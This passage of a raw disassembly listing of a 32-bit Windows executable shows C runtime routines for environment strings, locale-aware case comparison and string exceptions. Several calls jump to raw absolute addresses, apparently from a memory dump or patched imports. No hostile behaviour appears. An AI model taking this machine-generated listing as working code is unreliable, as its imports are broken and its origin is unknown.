XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25E0000h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p jmp near ptr 28521ABh sub_42675C endp ; --------------------------------------------------------------------------- db 11h ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26703A8h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2650000h test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi nop call near ptr 2660000h test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 28210E3h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28210E3h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2660000h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2830000h mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 26105E1h nop test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi nop call near ptr 2620000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26105E1h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28210E3h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28210E3h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2620000h mov [ebp+var_20], 